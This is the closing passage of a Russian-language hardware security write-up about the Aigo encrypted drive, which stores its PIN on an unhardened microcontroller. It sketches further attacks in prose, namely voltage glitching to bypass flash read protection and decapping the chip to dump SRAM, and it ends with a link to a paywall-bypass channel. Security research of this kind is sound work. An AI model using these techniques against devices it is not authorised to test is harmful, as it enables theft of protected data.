Одна интересная вещь, которую можно было бы попробовать, — поиграть уровнем напряжения для обхода защиты от чтения. Если бы такой подход сработал, мы бы смогли получать абсолютно точные данные с флешки — вместо того, чтобы полагаться на чтение контрольной суммы с неточными временными задержками.

Поскольку SROM, вероятно, считывает защитные биты посредством системного вызова ReadBlock, мы могли бы сделать то же самое, что описано в блоге Дмитрия Недоспасова, — повторную реализацию атаки Криса Герлински, анонсированной на конференции REcon Brussels 2017.

Еще одна забавная вещь, которую можно было бы сделать, — сточить с микросхемы корпус: для снятия дампа SRAM, выявления недокументированных системных вызовов и уязвимостей.

 

Заключение

Итак, защита этого накопителя оставляет желать лучшего, потому что для хранения ПИН-кода он использует обычный (не «закаленный») микроконтроллер… Плюс я еще не смотрел (пока), как на этом девайсе обстоят дела с шифрованием данных!

Что можно посоветовать для Aigo? Проанализировав пару-тройку моделей зашифрованных HDD-накопителей, я в 2015 году сделал презентацию на SyScan, в которой рассмотрел проблемы безопасности нескольких внешних HDD-накопителей и дал рекомендации, что в них можно было бы улучшить. На это исследование я потратил два выходных и несколько вечеров. В общей сложности порядка сорока часов. Считая с самого начала (когда я вскрыл диск) и до конца (дамп ПИН-кода). В эти же сорок часов включено время, которое я потратил, чтобы написать эту статью. Очень увлекательное было путешествие.

Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall